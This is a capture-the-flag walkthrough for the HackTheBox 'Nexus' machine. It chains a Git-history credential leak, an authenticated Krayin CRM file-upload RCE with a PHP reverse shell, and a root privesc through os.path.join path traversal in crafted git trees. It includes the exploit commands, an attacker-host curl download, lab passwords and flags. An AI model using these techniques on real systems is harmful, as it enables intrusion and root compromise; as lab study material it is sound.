
HackTheBox - Nexus
OS: Linux
Difficulty: Easy
Platform: HackTheBox
Box IP: 10.129.234.54
Box Creator: 7u9y
WriteUp Author: Hacck3y
Box Released: Jun 23, 2026
Tools: Nmap, Ffuf, Nc, Linpeassh, Git, Ssh-Keygen
WriteUp Updated: Aug 10, 2026
Reference: https://app.hackthebox.com/machines/Nexus
Overview
Nexus is a multi-stage Medium box that chains together OSINT-style recon, a leaked credential buried in Git history, an authenticated file-upload RCE in Krayin CRM, and a genuinely interesting privilege escalation abusing Python's os.path.join() behavior inside a root-run Gitea template-sync job. Getting root requires hand-crafting a malicious Git tree with low-level plumbing commands to smuggle a path-traversal payload past Git's normal filename restrictions.
Reconnaissance - Port Scanning
sudo nmap -n -Pn -sV -sC 10.129.234.54
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx/1.24.0 |\\\_http-title: Did not follow redirect to http://nexus.htb/

Port 80 redirected to http://nexus.htb/, which was added to /etc/hosts before browsing further.
Website Recon - Finding a Valid Email
The site itself is a corporate front for "Nexus Energy Authority." A Careers page advertising an "Operations Specialist – Customer Platforms" role leaked an internal contact address in the posting text:
Questions? Reach out to our hiring manager [email protected]

That gave a confirmed internal username - [email protected] - to try later once a password surfaced.
Subdomain / Virtual Host Enumeration
Since the site clearly used name-based routing, a vhost fuzz against the same IP turned up an additional host:
ffuf -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc 200
git \\\[Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 202ms]

git.nexus.htb resolved to a self-hosted Gitea instance:

Discovering Krayin CRM & a Leaked Credential
An admin account on the Gitea instance had a public repository, krayin-docker-setup, holding the Docker Compose configuration for a billing CRM deployment:

The real find was in the commit history of the .env file inside that repo - an earlier commit had the database password in plaintext before it was redacted in a follow-up commit:
- APP\\\_URL=http://nexus.htb + APP\\\_URL=http://billing.nexus.htb ... - DB\\\_PASSWORD=N27x<REDACTED>cY04 + DB\\\_PASSWORD=

That single diff leaked two things at once: the subdomain billing.nexus.htb, and a working password - N27x<REDACTED>cY04 - to pair with the email found earlier.
Krayin CRM Login & Version Fingerprinting
billing.nexus.htb hosts a Krayin CRM admin login:

Logging in with [email protected] / N27x<REDACTED>cY04 worked immediately, landing on the admin dashboard:

Fingerprinting pinned the install at Krayin CRM 2.2.x, which is affected by a critical, authenticated arbitrary file upload vulnerability:

CVE-2026-38526 - Unrestricted Arbitrary File Upload via /admin/tinymce/upload, allowing an authenticated user to upload a crafted PHP file and achieve RCE in the web server context (CVSS 9.9 Critical). A public PoC is available on Exploit-DB (52629): https://www.exploit-db.com/exploits/52629.
Exploiting the RCE (CVE-2026-38526)
A classic pentestmonkey-style PHP reverse shell was configured with the attacker's IP/port:
$ip = '10.10.14.59'; $port = 9001;
Listener:
nc -lvnp 9001
Exploit run:
python3 52629.py -t http://billing.nexus.htb/ -u j.matthew@nexus.htb -p 'N27x<REDACTED>cY04' -f php-reverse-shell.php
\*\*Gotcha:\*\* the password contains
!!, which bash interprets as history expansion unless the whole thing is single-quoted - an early attempt without quoting mangled the argument and threw a parsing error.
The exploit uploaded the payload through the CRM's file-upload endpoint, triggered it, and caught a shell as www-data:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Reading the .env File for Further Credentials
As www-data, the live application's .env was readable directly:
cat .env
APP\\\_NAME="Krayin CRM" APP\\\_URL=http://billing.nexus.htb DB\\\_CONNECTION=mysql DB\\\_DATABASE=krayin DB\\\_USERNAME=krayin DB\\\_PASSWORD=y27xb3ha!!74GbR

This password differs from the one leaked in the Gitea history - confirming the original credential had already been rotated, but the live config was still exposed post-RCE.
SSH Access as jones
The same password-reuse pattern carried through to SSH, granting a login as the low-privileged user jones:
ssh jones@10.129.234.54

jones@nexus:\\\~$ cat user.txt 4cd7542afd3cbc68ef6d8354419fdb21
Local Enumeration
sudo -l
jones had no sudo rights, and SUID/SGID enumeration turned up nothing but standard system binaries - nothing directly exploitable from that angle.
linpeas Enumeration
linpeas.sh was served from the attacker box and pulled onto the target:
# Attacker box python3 -m http.server 8000 # Target curl http://10.10.14.59:8000/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh | tee linpeas\\\_output.txt
Two findings stood out:
- The Krayin DB password, confirmed again in
/var/www/krayin/.env. - A root-owned systemd timer firing every minute:
Potential privilege escalation in timer file: /etc/systemd/system/gitea-template-sync.timer └─ RELATIVE\\\_PATH: Uses relative path in Unit directive
systemctl cat gitea-template-sync.service
\\\[Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py TimeoutStartSec=50s
This timer ties directly into the Gitea instance found earlier at git.nexus.htb (bound internally to localhost:3000).
Source Review - Finding the Privesc Bug
/etc/gitea/template-sync.py turned out to be world-readable (git:git, mode 644). Its logic:
- Queries the Gitea API for repositories flagged as "template."
- For each template repo, reads the git tree (
git ls-tree -r HEAD) from the bare repository. - Writes every entry out to a staging directory using:
target = os.path.join(stage\\\_path, filepath) ... with open(target, 'wb') as f: f.write(cat\\\_result.stdout)
The bug: filepath comes straight from git tree entries inside a repository the attacker fully controls. Python's os.path.join() has a well-documented quirk - if the second argument is an absolute path, it completely discards the first:
>>> os.path.join("/home/git/template-staging/jones/rce", "/root/.ssh/authorized\\\_keys") '/root/.ssh/authorized\\\_keys'
Since this script runs as root, every 60 seconds, controlling filepath inside a template repo means arbitrary file write as root.
Building the Exploit
Git's normal CLI (git add, git mktree) refuses filenames containing a literal /, so a direct absolute path can't be committed the usual way. The fix was to use Git's low-level plumbing commands to construct a tree object using relative ../ traversal instead of a leading /.
1 - Create a template repository as jones:
Logging into git.nexus.htb with the jones credentials (y27xb3ha!!74GbR) and creating a repo, jones/rce, marked as a Template Repository (required - the sync script only picks up repos flagged template: true):

2 - Clone and generate a payload:
git clone http://jones@localhost:3000/jones/rce.git cd rce ssh-keygen -t rsa -f /tmp/pwnkey -N "" cat /tmp/pwnkey.pub > authkey\\\_payload git add authkey\\\_payload git commit -m "sync"
3 - Craft the traversal path via git plumbing:
The staging path was /home/git/template-staging/jones/rce - five directories deep from root. Wrapping the payload blob in five nested .. trees resolves it back to /root/.ssh/authorized\\\_keys:
BLOB\\\_HASH=$(git ls-tree HEAD | grep authkey\\\_payload | awk '{print $3}') L1=$(printf "040000 tree %s\\\\t..\\\\n" "$TREE3" | git mktree) # TREE3 = payload wrapped as root/.ssh/authorized\\\_keys L2=$(printf "040000 tree %s\\\\t..\\\\n" "$L1" | git mktree) L3=$(printf "040000 tree %s\\\\t..\\\\n" "$L2" | git mktree) L4=$(printf "040000 tree %s\\\\t..\\\\n" "$L3" | git mktree) L5=$(printf "040000 tree %s\\\\t..\\\\n" "$L4" | git mktree)
Verified with:
git ls-tree -r $L5 100644 blob 9be1566acda8cc0f68242bf53ad6f82269162847 ../../../../../root/.ssh/authorized\\\_keys
4 - Commit and push:
NEW\\\_COMMIT=$(git commit-tree $L5 -m "payload") git update-ref refs/heads/main $NEW\\\_COMMIT git push origin main --force
\*\*Gotcha:\*\* the first push attempt targeted
master, but Gitea's bare repoHEADstill pointed atmain(and the sync script reads fromHEAD). The payload had to land specifically onmainto get picked up.
Confirming the Write & Getting Root
Timer logs confirmed the sync job processed the crafted path:
tail -f /var/log/template-sync.log \\\[2026-07-19 05:55:41] Syncing template: jones/rce \\\[2026-07-19 05:55:41] synced: ../../../../../root/.ssh/authorized\\\_keys
With the attacker's public key now sitting in /root/.ssh/authorized\\\_keys, root access was one command away:
ssh -i /tmp/pwnkey root@10.129.234.54 root@nexus:\\\~# cat /root/root.txt
Machine Owned

Personal writeups collection - content adapted and rewritten from Pasindu SD's original walkthrough for reference purposes.
Latest
Events
Team Simple - All Rights Reserved ©
